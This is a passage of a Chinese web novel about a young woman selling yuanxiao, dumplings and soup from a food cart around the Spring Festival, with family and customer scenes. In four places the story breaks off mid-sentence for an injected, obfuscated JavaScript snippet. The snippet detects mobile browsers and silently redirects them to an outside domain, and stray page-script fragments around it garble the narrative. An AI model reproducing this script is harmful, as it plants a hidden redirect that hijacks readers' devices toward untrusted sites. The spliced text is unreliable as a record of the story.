厨师嫌弃地看了看自家后厨的芝麻油，和这个芝麻油的品质差了不是一点半点，又找到厨师长说起这个事情。 最后因为一道菜，宋鑫达成了孙姨和饭店的合作，收获了孙姨一大桶芝麻油。 当然，对着一大桶芝麻油发愁的事情是在年后了，现在的宋鑫只是在吃饱之后看着李云华把孙姨的联系方式给了饭店主管。 然后收获了一个超大份豪华果盘。 最后一家子又在饭店消磨了大半个小时才把果盘吃完，没办法，这个果盘的分量真的很大，真是甜蜜的烦恼~ 出了饭店宋鑫一家直奔向李姥姥李姥爷那里，又吃完了一顿丰盛的年夜饭。 等到大年初四，宋鑫一大早就从床上爬起来，过年这几天她觉得自己最起码吃胖了五斤！不能再这样下去了，今天开始出门摆摊。 昨天晚上宋志明和李云华听到宋鑫说今天就要摆摊，还要改变原计划留下来帮忙，不过被宋鑫拒绝了，开什么玩笑，今天只做简单的元宵，麻烦的就是准备馅料，都不是什么事儿。 看了看手里的预订单，宋鑫叹了口气，好吧，担心则乱的宋志明和李云华昨天晚上在朋友圈帮她宣传了一把。 虽然知道宋鑫的手艺好，可是实打实的花钱，能有多少愿意的就不好说了。 所以，宋鑫今天就得到了一个写满了人名的单子，宋鑫现在才反应过来昨天晚上俩人为什么要问自己都准备做什么馅的元宵，看看上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517999|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是什么吧。 单位王阿姨：黑芝麻2斤、枣泥核桃3斤； 3楼刘大爷：花生3斤； …… 宋鑫还在里面看到了王意的名字，四种口味的元宵各要了两斤。 在骑着车买材料的路上，宋鑫还能想起早上宋志明和李云华不好意思的表情，看完单子的宋鑫赶紧让她们在朋友圈里说一下，停止接单了。 今天做完这些，最多还能留出三十斤的元宵出去卖。 还有王意，人都还没有回来呢，现在订了元宵怎么吃！结果王意是这样说的，“之后肯定会有越来越多的人来买，我怕自己赶不上，你先帮我放冰箱里，我把家里的密码告诉你，爱你呦~” 好的，线下社恐i人在线上也是个社恐，社交恐怖分子，宋鑫看到王意的消息都以为她被盗号了。 黑芝麻和花生的好做一些，传统味道，还没有加猪油，坚果的香味就在厨房散开，宋鑫快速把猪油加进去，放进冰箱冷冻等馅料凝固。 豆沙榛子和枣泥核桃这两种馅料的做法参考了月饼，细腻的枣泥中间用核桃来增加口感，豆沙榛子也是一样的，不过豆沙榛子的甜度会低一些，用的都是黄油。 馅料全部准备好，宋鑫就带着所有的材料下楼了，把东西放在餐车上面，昨天新买的餐车，宋鑫早就看好了，昨天店里一开业她就马上全款拿下了这个多功能餐车。 车子停在了小区门口，有专门划分好的摆摊点。 宋鑫开始滚元宵，没过多久摊子边就围了一群人，大家看着宋鑫娴熟的手法，忍不住赞叹。 现在过年正是走亲戚的时候，可是有的人手里提着礼物就站在了宋鑫的小摊周围，“闺女你这多少钱一斤啊。” 宋鑫指了一下前面的手写挂牌，“黑芝麻和花生的贵一点，十八一斤，豆沙和枣泥的十四一斤。”宋鑫可没有随意喊价，她仔细算了成本之后得出了这个价格，毕竟材料买的都是好的，也不便宜。 而且她的这个手摇元宵不像普通的那种皮特别厚实，兼顾了口感和馅料，物超所值。 宋鑫看着眼熟的一个奶奶率先开口了，“给我拿一斤黑芝麻的，一斤花生的，你这个馅我一看就知道加了猪油，正宗！” “我要两斤花生的。”有个男生也跟着买了两斤，跟着老人买东西准没错，一定可以吃到正宗的。 宋鑫也想起眼熟的奶奶是谁了，前面那栋楼一个退休的老太太，她家小孩跟宋鑫差不多大，孙奶奶都可以对宋鑫说，你小时候我还抱过你呢。 之后宋鑫摇完一波就卖完一波，虽然后面的人好多半斤半斤的买，可架不住买的人多，她本来还准备了水，如果卖不出去就在这儿现场煮了给大家试吃。 没想到这就用不上了，不对，用得上。 最后每个口味都还剩下几个滚的不太好的，或者太厚或者太薄，宋鑫决定把这些现场煮了分给大家尝一尝。 16.核桃酪 煮元宵不难，和煮饺子有点像，中间都需要点水。 “小姑娘，这边不是还有呢吗，怎么就不卖了？”一个阿姨指着宋鑫预留出来的那些元宵。 宋鑫不好意思地笑了笑：“阿姨，这个是人家提前预定的，只是现在还没有来拿。” 预定的元宵已经拿走了很多，但还剩下一小部分在餐车上放着，就被眼尖的阿姨看到了。 “这个还可以预定呢，是加群吗，我也提前订一点。”宋鑫没有想到这个阿姨连加群预定都知道，看着阿姨已经把手机拿出来了。 她只能一边小心翼翼地煮着元宵，一边和以阿姨为首纷纷掏出手机的顾客解释现在还没有群，自己马上就开一个。 “大家先等一等，元宵马上就煮好了，等会儿大家都尝一尝，再看预订的事情。” 等元宵飘上来的时间里，宋鑫飞快建了一个群，不好一直举着手机，把二维码截图，手机调成了常亮放在餐车前面。 同时暗暗想着回家之后要把二维码打出来贴在餐车上。 元宵好了，给周围的人分完之后还剩下最后一个，宋鑫自己也吃了起来。 因为是各种口味混着煮的，一人一个，相熟的人分到的口味也不一样，大家纷纷交流起来。 “欸，我这个是黑芝麻的，你看这个馅儿，真不错。”说话的人已经把元宵咬破了，外面的糯米皮还在轻微颤动，显得格外有嚼劲，里面的芝麻馅顺着开口流到了勺子里面，一下就把勺子里残留的一点汤汁染上了黑色。 “我也想吃黑芝麻的，我就觉得黑芝麻的香。”说这话的分到了枣泥核桃馅的元宵，他又吃了一口自己的元宵，接着说道：“不过这个枣泥的也挺好吃的，黏糊的挺好。” “我倒是想吃枣泥核桃的，虽然黑芝麻的也很好吃，可是我还没有吃过枣泥核桃的呢，好吃吗？”男人身边的女孩一边吃着自己，一边看着人家碗里的犯馋，怎么办，感觉每一种味道的都很好吃。 “你们不觉得花生的更好吃吗？” …… “+1，花生党在此。” “黑芝麻才是正统！” “豆沙榛子才是绝绝子好吗，豆沙颗粒感十足，口感却不粗糙，榛子的清香更是让它的味道更上一层楼，更不用说，这个不甜！！！”连用三个感叹号，众所周知，不甜是对甜品最高的评价！ “我这不是没有吃到豆沙的吗，难道是我不想选吗？” 此话一出，大家纷纷点头，视线从内部斗争中转移出来看向宋鑫，宋鑫早在大家争论哪个味道才是NO.1的时候就把自己存在感放低了，就怕大家问她觉得哪个味道最好。 结果还是没躲过去。 她努力转移话题，“大家都进群了吗，如果要预定的话进行群接龙就可以了。” 说完赶紧在群里开启了群接龙，并且发了群公告，写明元宵的价格，还把群名改成了花园东门元宵预定。 现在群里已经有一百多个人了，大家在吃元宵的时候也没有忘记把家人朋友拉进群，好吃的要一起分享。 有了更重要的事，大家的也不争论哪个味道更好吃了，都买点回家，想吃哪种吃哪种！ 要是没有尝过这个元宵的味道，大家可能还会少买点先试试水，可是尝过味道了，每个人都是三斤起步，宋鑫看了一眼群里有些害怕。 简单算一算就有一百多斤了，赶紧和大家道歉进行限量预定，真的太多了，她不想晚上也在家里摇元宵，太可怕了。 还好她发现的早，要是再晚点，预定的人越来越多，她取消都取消不了。 大家的元宵也都吃完了，再喝一口汤，因为是煮元宵的汤水，什么也没有加，却也浓稠顺滑，喝上一口，被冷风吹得有些僵硬的手脚慢慢暖和起来。 宋鑫等着人都离开，预订单全部拿走了才回家。 出去一趟回来总想喝点热的，宋鑫本来想点一杯热奶茶，结果在厨房看到了泡着的粳米，她中午想煮莲子粳米粥来着，后来忙着出摊就没有煮。 现在有现成的粳米，不如做个核桃酪吧，家里还有核桃仁。 先把红枣煮一下，去掉红枣的外皮和核，煮到红枣胀起来，它的皮就很好去掉了。 把核桃仁，红枣，还有粳米一起放进破壁机，加水打成糊，也就是核桃浆，之后把这个核桃浆倒入锅里，加白糖和清水熬煮。 千万千万不能用铁锅，会煮成黑色的，宋鑫就煮过，虽然最后味道还好，可是卖相实在是差。 煮的过程中要用勺子不停推搅，等烧开冒泡核桃酪就好了，颜色是灰红色，非常细腻的口感。 有点像芝麻糊，但是比芝麻糊爽口，不糊嘴。 宋鑫给自己盛上一碗核桃酪，坐在沙发上打开电视，听着背景音看群里的消息。 当她看到群接龙里的订单量达到三百斤的时候，人有点坐不住了，一口气把剩下的核桃酪喝完，去买材料，等会儿继续做元宵馅。 虽然知道自己的元宵味道好，可是还有好多天才到元宵节呢，她只是提前预热一下节日氛围，只想着细水长流，没想到一下就让她做大做强了。 晚上宋志明和李云华回来之后，也开始帮忙。 此时她们两个已经开始后悔了，这些订单有一部分还是她们引来的，昨天预定的人今天拿到元宵回家煮了之后都说好吃，家里老人小孩都喜欢。 唯一的烦恼就是不消化不好让她们多吃，引起了一些家庭矛盾，但是她们自己处于壮年，可以多吃一点，毕竟上有老下有小，吃饱才有力气干活。 听说有群之后纷纷进群，买的少的都在加单。 第二天上午宋鑫就出摊了，馅料昨天都准备好了，今天直接现场滚就行了。 宋鑫觉得来买的人一点也不比昨天少，而且怎么越来越多！ 又卖出去一斤，听着手机里传来收款到账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522640|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音，她觉得自己又能干了，滚元宵而已，一点儿都不累的。 预订单都拿走了，剩余的元宵也卖的干干净净，中午宋鑫都没有回家吃饭，给自己煮了一份元宵就接着干活了。 边吃她边想着明天一定要记得给自己带一份午饭，要不是这两天宋志明和李云华要出去聚餐吃饭，她一定要把两个人薅过来滚元宵。 宋鑫今天还帮两个人煮了元宵，想起来就想笑，有一对小情侣，她记得昨天她们两个想买没有买到，今天提前预定了，正好是中午来拿的。 当时宋鑫正在煮自己要吃的元宵，女生看到之后就给了男生一个胳膊肘，用眼神示意对方。 宋鑫煮好自己那份看到她们还在餐车前面，还没有说什么，就听到女生大声说道：“小姐姐，可以麻烦你帮我们也煮一下吗？” 说完还不好意思的和男生一起给宋鑫鞠了一躬，然后补充说道，“我们再付十块钱手工费。” “顺手的事儿，拿来我给你们煮吧，不过煮好之后你们怎么带走，我这儿没有大的打包盒。”煮元宵倒是没有问题，但是宋鑫实在想不出来用什么给她们打包带走，她这里只有小的打包盒，以及塑料袋。 大的打包盒一次性餐具之类的，她已经在网上买了，但春节期间快递还没有发货，她自己用的还是从家里拿来的碗筷。 女生，也就是周若早就想到了办法，“我们马上去超市买个饭盒，麻烦你了小姐姐。”说完又给宋鑫扫了十块钱，她男朋友李翔已经跑去超市了。 有办法就好，宋鑫开始煮她们两个的元宵，因为周若已经把钱转过来了，宋鑫又给她们加了几个元宵。 一边的周若则在不停地夸她，话虽然密却不让人讨厌，只觉得活泼。 在她说话的时候，宋鑫已经知道她们两个是谁了，她听李女士说过，去年十月份，有一次和家里打电话，李女士说小区里有一对小情侣，自己在家煮面吃，结果晚上就叫了救护车，急性肠胃炎。 还是周若刚刚说自己名字的时候宋鑫想起来的，反正就她知道的，周若她们这次事情之后，小区里的家长对孩子点外卖都宽容了很多。 可能一般外卖实在不会把人吃进医院吧，宋鑫想着。 元宵好了，饭盒也买回来了，宋鑫还给重新给她们洗了一下才开始装元宵，“这个要尽快吃哦，冷了就不好吃了。” “OK。”周若欢快地答应下来。 昨天吃到的元宵实在是太好吃了，但是怎么煮是个大问题，她们两个的家里人都不在这个城市，也是因为工作原因，今年过年俩人都要值班才没有回去过年。 她们两个找好了煮元宵的教程，又买好了胃药，这才买了元宵。 小区传说，反面案例之类的事情，出现一次就够了！ 结果没想到摊主小姐姐人这么好，嘿嘿，周若觉得特别幸运，李翔也觉得很幸运，不过他认为这份幸运是周若带来的。 17.八宝瓤苹果 “小若，有你真好，你真的好厉害，又能和摊主商量，还能想到饭盒的解决办法。”之前周若说话的时候，在李翔眼里简直在发光。 他自己不善言辞，处理不好这些事情，第一次遇见周若的时候，对方就帮他在人群中解围，对于当时的他来讲，周若就像天神降临！ 还是发光版的。 周若笑着看着他，“你也很好啊~又真诚又善良。”她掰着手指数起了李翔的优点。 两个人走出去好远，宋鑫只看她们的背影都觉得甜蜜又温馨，又是见证美好感情的一天。 晚上回到家，宋志明和李云华已经准备好了包饺子的材料，今天是正月初五，按照习俗要吃饺子，因为包饺子的时候要捏边，就是“捏住小人嘴”，接下来的一年都会和和气气的。 往年家里虽然重视这个习俗，但今年宋志明和李云华更加郑重，因为今年宋鑫开始做生意了，摆摊也是生意嘛，做生意就要和气生财。 所以她们准备了韭菜，韭菜是纳财菜，包成饺子寓意多好啊。 美好的寓意宋鑫接收到了，她把处理好的食材混合在一起，熟练的调味，除了鸡蛋，还有粉条和木耳，不仅味道丰富，颜色也好看。 煮好之后的饺子放在盘子里面，先空口吃上一个，韭菜的香味全都激发出来了，汁水丰沛，吃进嘴里过年这几天的油腻全都消失。 宋志明和李云华在一旁说小话。 “老宋，你说我们之前也包了韭菜饺子，怎么就没这么好吃呢，我觉得我们加的东西和鑫鑫差不多啊？”李云华多年如一日的对自己厨艺感到自信。 宋志明就很有自知之明了，“我们做的是填饱肚子，鑫鑫做的吃起来是享受，觉得人生值得。” 好吧，李云华其实也有自知之明啦~不过永远不死心罢了，觉得自己一定有厨神基因，要不然怎么会有宋鑫这个女儿呢！ 宋鑫听着耳边的对话，此类言语已经出现十多年了，在宋鑫展现出厨艺天赋之后。 她已经习惯了，吃了几个原味的饺子，又把饺子放进蘸料里面，她的特调，甜醋加上辣椒油，韭菜的鲜味没有被掩盖反而更加突出。 接下来的日子，宋鑫不是在做元宵，就是在买材料。 群里已经满员，现在第二个群里都有一百多个人了。 说实话，在此之前，宋鑫从来没有想过只是一个元宵，可以卖的如此火热。 这也让她对之后的摆摊更加自信了。 元宵节当天，宋鑫早早把最后一点元宵卖完就不做新的了，真不行了，她现在看什么都像元宵，虽然看到自己银行卡余额的时候很开心。 晚上要去姥姥姥爷家里吃饭。 她们到的时候李谈一家还没有到，但也没有过太久，李谈就和他爸妈一起过来了，赵素华一进来就和李云华抱怨起来。 “这么大人了，说让他早点睡早点睡，非不听，刚刚才把他从床上拽起来，我看他是又熬穿了！”这个他是谁显而易见，只能是旁边来到就歪倒在沙发上的李谈了。 肯定不能是在旁边一看就很精神的舅舅李云然。 宋鑫在一旁乐的不行，“舅妈，你还知道熬穿了啊。” 赵素华一挑眉，“我还是很能跟的上时代的，你们小年轻经常用的词我还是知道一些的。” 宋鑫双手抱拳表示佩服。 晚上在家里吃，大家凑在一起做饭，手艺好的上灶，手艺差的如宋志明李云华就打下手，没有手艺的李谈则在一旁狂吹彩虹屁，并且承担了饭后清扫工作。 其他菜都做的差不多了，桌子上也摆了一盘又一盘的菜，散发出各种香味，让今天还没吃饭的李谈忍不住在厨房吃起了边角料。 忽然他闻到一股清香，米饭的香味，今天的元宵节要吃米饭吗，他们这边没有这个习俗吧，李谈疑惑，李谈提问。 宋鑫没理他，只是把手里正在切的金丝蜜枣在他面前晃了一下，李谈悟了，“啊，原来是要吃甜米饭啊，妹啊，能不能多加点蜜枣，我爱吃这个。” 在家休息了两天的李谈已经恢复了活力，终于不再是被生活折磨的模样，变成他来折磨宋鑫了。 宋鑫叹了一口气，手里接着切起了青梅和樱桃脯，“不是甜米饭，是八宝瓤苹果。” 李谈看到了旁边的苹果，“啊，是八宝瓤苹果啊，我还以为你今天晚上还要切果盘呢，还想着你什么时候这么爱吃苹果了。” 果然，李谈的脑回路永远不会让人失望。 宋鑫接着忙去了，留下李谈自己在那儿自言自语，“欸，八宝瓤苹果是什么，我怎么没吃过，好吃吗？” 芡实米和薏仁米已经蒸烂了，把这两样和碗里的金丝蜜枣、樱桃脯、熟莲子、瓜子仁、青梅、葡萄干放到一起。 又往碗里加入白糖和蒸到五分熟的糯米，一起搅拌均匀，这时候颜色已经非常好看了，一边的李谈蠢蠢欲动，不死心地问宋鑫，“真的不需要尝尝味道吗？” 宋鑫已经不想说话了，甜点要尝什么味道，尤其是还不熟的情况下。 把搅拌好的材料填进了提前挖去核去过皮的苹果里面，一共做了八个，一人一个，当然因为这个饱腹感也很强，宋鑫专门用的小苹果。 蒸熟之后又熬了糖汁，浇在了苹果上，撒上金黄色的桂花和金糕丝。 看上去特别好看，还很香，端上桌在一众荤菜之中也毫不逊色，至少李谈第一个吃的就是这个八宝瓤苹果，他倒要看看这是个什么味道。 唔，一口咬下去酸酸甜甜的，口感好神奇，先是软绵的苹果，配上甜丝丝的糖汁，接着是和糯米混在一起的八种馅料。 瓜子仁还是硬的，却不硌牙，带着坚果特有的香味，金丝蜜枣和樱桃脯还保留着一丝果脯的韧劲，葡萄干变得酸酸甜甜，在这里面一点儿都不违和。 各有各的味道，又能完美的融合在一起。 “好吃！”李谈说着又挖了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528374|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大勺八宝瓤苹果。 李姥姥和李姥爷年纪大了熬不动，李谈这个家伙可能因为白天睡够了，还在宋鑫身边问她，有时间能不能再做一次这个苹果。 宋鑫叹气，“做做做。”宋鑫投降，她怎么忘记这个家伙的口味了，他最喜欢的酸甜口啊，千金难买早知道啊！ 李谈傻笑着离开，走之前还不忘和宋鑫说话，“你在这等我，我昨天专门去买的烟花，还有给你买的仙女棒，等会儿带你去放烟花。” 晚上临睡前宋鑫看了一眼明天要买的菜，确认无误之后赶紧睡了，明天要早起呢。 来到菜市场，六点还不到却已经有不少人了，也不乏有人抱怨过了个年，突然要早起，不只是孩子，大人也受不了。 宋鑫买了一些猪肉，让老板打成了肉末，又另外买了黑米粉、黄瓜、凤尾菜等，这都是她今天要用到的。 宋鑫去的是大菜市场，里面物品的种类更丰富一些。 在买黄瓜的时候，因为她买的量也不少，老板还问她要不要加好友送货上门，“一看你这个量就是做生意的啊，你这么年轻也不像有孩子的样子。” 宋鑫忍不住在心里给老板点了个赞，看人真准。 虽然暂时不需要送货上门，她还挺喜欢早起逛菜市场的，看见各种新鲜食物，就觉得生活充满了动力，让人的心情都会变得很好。 但是她还是加了老板的联系方式，万一哪天不方便呢。 感觉菜市场的人流量上来了，宋鑫拿着自己的东西赶紧出去了。 她们家这边，中小学生都是正月十六开学，宋鑫买菜的路上还看到了要早早到学校的高三生，真的很辛苦。 让她想起了自己的高三，也有很累不想起床上学的时候。 宋志明就会去买小区拐角那家麻酱油饼，再刷上老板特制的酱，还可以裹上土豆丝、烤肠，把油饼放在餐桌，打开门，宋鑫闻到味道自己就会起来了。 车子上放着买好的菜，宋鑫直接拐弯去买油饼了。 这个时间实在是早，麻酱油饼的老板也才开门，正在往面片上刷麻酱，刷好之后娴熟地从一头卷起，接着折成三层，擀成圆饼坯。 饼坯放入平底锅，很快就染上了金黄色，冷风吹来，把麻酱油饼上凝聚的热气吹散，露出了油饼的庐山真面目。 煎好的油饼被老板摆在一边，宋鑫很有大款气质的一挥手，“老板，给我拿六个油饼，三个刷酱，三个不刷。” 接着付了油饼的全款十八块。 刷酱的油饼直接吃，油饼层层分离，饱含麻酱的香味，最里面还有一丝甜味。 没有刷酱的回家拌上两根黄瓜，新鲜黄瓜清脆爽口，夹在油饼里别有一番风味。 油饼一到手，宋鑫忍不住先开吃了，还是那个熟悉的味道。 到家之后按照原计划拌好了黄瓜，是好吃的，而且黄瓜清爽的味道特别开胃，本来吃完一个饼有点饱的宋鑫又解决了一个饼。 18.鲜蔬蒸饺 吃饱的宋鑫开始做今日出摊的准备工作，她昨天和大家说停止预定元宵的时候就把群名改成了“花园东门小餐车”。 刚过完年她准备做一些清爽的食物，也能让人吃了更舒服一些。 看了一眼群里，因为元宵的味道，大家对她超级信任，而且在群里的有好多年轻人，早就开始正常上班了，节后综合症已经过去了，大家都在群里问她今天早上卖什么。 【老板老板，今天做什么啊，几点出摊啊。】 【是啊，老板发一下菜单嘛。”】 【哈哈哈哈哈老板终于开始卖做好的食物了，那个元宵真的太难煮了！】这还是个熟人，周若发的。 后来她再买元宵就没好意思让宋鑫给她们煮，毕竟宋鑫不是卖煮好的，即使她多给钱了，但宋鑫也多给她元宵了，让人家看到再有样学样就麻烦了。 不过宋鑫专门教给她了一个煮这种元宵的笨方法，邪门但有用，只适用于这种元宵，汤圆不行。 冷水或者水温温热的时候就把元宵放进去，不要等到水沸腾，煮一会儿之后就把火关上接着焖，焖够时间之后再煮，就可以得到好吃的软糯元宵，不会有一点硬芯。 如果用可以保温的小电锅或者在电饭锅里煮就更简单了，煮一会儿之后直接保温，就不用管它了，一两个小时之后可以直接吃。 当然，还有一个更极端的偷懒妙招，不过只能在天冷的时候操作，头一天晚上在电饭锅里煮一下，开着保温不用管。 第二天早上将会得到一碗浓稠的汤水，和一份煮的透透的元宵。 这种方法不建议随意尝试，除非你是李翔和周若那样的厨房苦手！ 宋鑫也不知道她们后来是怎么吃的那些元宵，但是最近小区没有来救护车，应该没什么大问题。 两人在前天又订了超级多的元宵，说是冻在冰箱里面慢慢吃。 宋鑫不理解但尊重。 被渐渐熟悉起来的周若吐槽，天知道她们这种厨房杀手好不容易找到一个自己可以做好的食物有多兴奋。 看着群里的消息一条接着一条，两个群都活跃起来，宋鑫赶紧把今日菜单发了出去，她早就把挂牌写好了，直接拍下来发群里就行了，又把时间说了一下，七点准时出摊，就在小区东门老位置。 挂牌上的字很简单，就两行： 鲜蔬蒸饺 芙蓉凤尾汤 看到这个群里又议论起来。 【就这两个吗，好少啊。】 【我觉得还好啊，小姑娘一个人嘛。】 【本人无脑冲，这一个年过的我胖了十斤！！！姐妹们，我现在看到肉就发昏，就想吃点清爽的，奈何家里还有一堆过年剩下来的肉（哭泣）。】 【我也是，年前不觉得，年后平均下来一天两顿大餐，真是吃不动了。】 【老板好懂我的心，我也想吃点爽口的。】 宋鑫在备菜的间隙看了一眼群里，已经变成了过年受害者联盟，其实她自己也是，要不然也不会做这两样了，实在是吃不动了啊。 黑米粉一半加开水，一半加冷水活成面团，放在一边饧着，青椒和一部分黄瓜切成了细细的末，加一点盐腌出水分。 把调料放进少少的猪肉末里，再加上多多的黄瓜青椒，这个馅就拌好了，封好保鲜膜，先把这个和面团拿下楼。 泡好切好的凤尾菜和黄瓜片一起拿走，最后再把蒸好的鸡蛋清切成象眼片，装备工作就做完了。 这时候宋志明也起来了，看到宋鑫准备收拾厨房，连忙阻止了她。 “你去忙你的吧，厨房我来收拾就行了。”摆摊她们帮不了忙，收拾收拾厨房，做好善后工作还是可以的。 宋鑫看了眼时间，已经六点五十了，点点头就端着一盘鸡蛋清片下楼了。 到了地方，出乎意料的是已经有人在等着了，看到熟悉的小情侣，宋鑫停好车子，无奈极了。 “你们上班不还早着呢，我就在这儿也跑不了。” “那不行，我无条件相信你的手艺，等到八点半你可能都卖完回家了，我们就吃不上了，我绝对不会允许这样的事情发生！” 周若说的铿锵有力，一边的李翔也点头配合。 宋鑫觉得路过的人看她们三个的眼神都奇怪起来。 只好赶紧搓面团，让自己忙起来。 她手指翻飞，很快包了好几笼蒸饺，旺火蒸上，宋鑫开始煮芙蓉凤尾汤，加上一点高汤，接着就是凤尾菜，黄瓜片，鸡蛋清片，全都放进锅里。 现在天气还很冷，少少加了一点姜汁在汤里，驱寒取暖，也不会有姜的辛辣味。 不用勾芡，汤开把汤上面的浮沫撇掉，这个汤据可以了。 周若和李翔一人来了一碗汤，她俩也不打包带走了，闻着越来越香的味道，最后决定就在小餐车这里吃了。 宋鑫在餐车外面支了两张桌子，不大，但是吃饭也刚好。 “蒸饺好了，你们要多少？”宋鑫包的蒸饺个头不是很大，周若和李翔早就商量好了，一人一笼，吃不完可以带回去晚上吃。 结果，这个蒸饺好好吃，好鲜好清脆的口感，黄瓜不必说，过年期间桌上要有一盘黄瓜，一定是最先光盘的。 更让人惊喜的是里面的青椒，爽脆可口，一点也不辣，宋鑫特意挑选出来的。 吃到一半，再喝一口汤，有点像家里的味道了，虽然家里做的没有这么好吃，周若就是莫名其妙的想起了妈妈包的饺子。 皮有点厚，肉却很多，每次离开家妈妈都会给她包饺子，然后给她盛上满满一碗。 明明昨天晚上才和家里打过电话，过年回不去家的时候也没有很难过，可就在刚刚，吃着吃着，周若特别想回家，想抱一抱妈妈。 李翔感受到了周若的情绪，有些担心地看向她，周若摇摇头示意自己没事，低着头把蒸饺吃完，昂起头喝下碗里最后一口汤，也让眼泪不要流出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531844|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋鑫感觉她有些不对劲，可是很快人流量就上来了，她一边要包蒸饺，一边还要打包盛饭，忙完一抬头，周若和李翔已经吃完离开了。 回头手机上问一下吧。 接下来宋鑫手上一直没有停，大多数人都是要打包带走，只有少数人会在这里吃，其中就有一个小男孩和他妈妈。 小男孩正在一本正经地教训他妈，“看吧，我都说了让你提前订好闹钟，你非说自己可以起来，一定要证明自己。” 他对面的女人头发很长，不过有些凌乱，一看就是匆忙出门，瞪了小孩一眼，“这是在外面呢，给我留点面子啊，今天是意外，而且现在也没有很晚，我们还能吃上早饭呢！” 说到最后已经变得理直气壮起来。 好吧~至少没有吃面包，赵明明迫于淫威默默点头，又拿了一个蒸饺吃起来。 感谢妈妈，虽然起晚了，但是又没有特别晚，所以可以在外面吃饭。 而因为时间紧张，一出小区就看到了小餐车的赵女士当机立断就选择了这个当作早饭，没有想到这么合胃口，本来只是图快图省事的赵女士默默决定送完孩子回来再买一份，这样午饭也解决了。 手里还吃着蒸饺，却被发现时间真的来不及了的赵女士一把拎起，“路上别吃东西啊，等会儿在学校门口吃。”她还没有忘记叮嘱赵明明。 马上八点了，开学第一天不要迟到啊，赵明明他们班老师真的会找家长，难道要说家长昨天晚上熬夜打游戏导致今天睡过头了。 赵女士上学的时候可以毫无羞耻心的和老师说出这种话，但是当了家长再面对老师，很多话都说不出口了。 感受到乖乖坐在后座的赵明明，赵女士骑着小电动随着车流向前。 赵明明一手一个蒸饺，很听话的没有继续吃。 到了学校门口，听取哭声一片，哭出声的都是一二年级的小孩，三四年级的则是强忍着眼泪走进学校，那个表情好像学校是一个恶魔，正张着深渊巨口等着她们进入。 赵明明作为一名一年级的小孩，以其极为冷静的表情被人侧目，赵女士迎来很多家长羡慕的眼神，好吧，这个崽还是很不错的，很能给她挣面子~ 就在赵女士还沉浸在飘飘然的情绪中时，赵明明已经手握两个蒸饺进了学校。 他可想他的好朋友小星星了，昨天还把要带给小星星的礼物好好放进书包里。 一进教室赵明明就看到在座位上默默哭泣的小星星，他走到小星星身边坐下，有点着急的问他，“小星星你怎么啦，是不是有人欺负你？” 说到最后赵明明已经火冒三丈，马上就要冲出去和欺负小星星的人决一死战！ 小星星摇头，“没有人欺负我，我就是不舍得爸爸妈妈。”说着说着小星星又想起爸爸妈妈了，又想哭了。 赵明明手足无措，突然看到手里的蒸饺，举起放在小星星面前。 “小星星你吃不吃蒸饺，可好吃了！” 19.鸡肉粥 赵明明一边说还一边点头，再配上他的表情，任谁来了都会觉得这个蒸饺很好吃，小星星自然也不例外。 他接过一个蒸饺，蒸饺已经有些凉了，但还是很好看，小星星咬了一口眼睛都变亮了，“好好吃呀~”他也不想哭了，很快就把那个蒸饺吃完了。 在小星星吃蒸饺的时候，赵女士才想起来赵明明手里抓着俩蒸饺就进学校了。 要是被老师抓到不会请家长吧，寒冷的早晨赵女士背后直冒冷汗，赵明明是一个很机灵的小孩，他应该不会让老师发现的，相信他！ 至于她现在，赵女士决定赶紧回去再买一份蒸饺，加一碗芙蓉凤尾汤，刚刚喝了感觉真不错，万一去晚了，老板卖完了怎么办！ 小星星吃蒸饺的时候老师还没有来，但是蒸饺被要咬开之后，香味开始扩散，前面的小朋友和她同桌都转过头看赵明明和小星星。 “你们吃的是什么呀，好香哦~”前桌按耐不住先问出来了。 赵明明昂首挺胸，“是超级美味的蒸饺，我给小星星带的哦~” 小星星点头赞同赵明明的话。 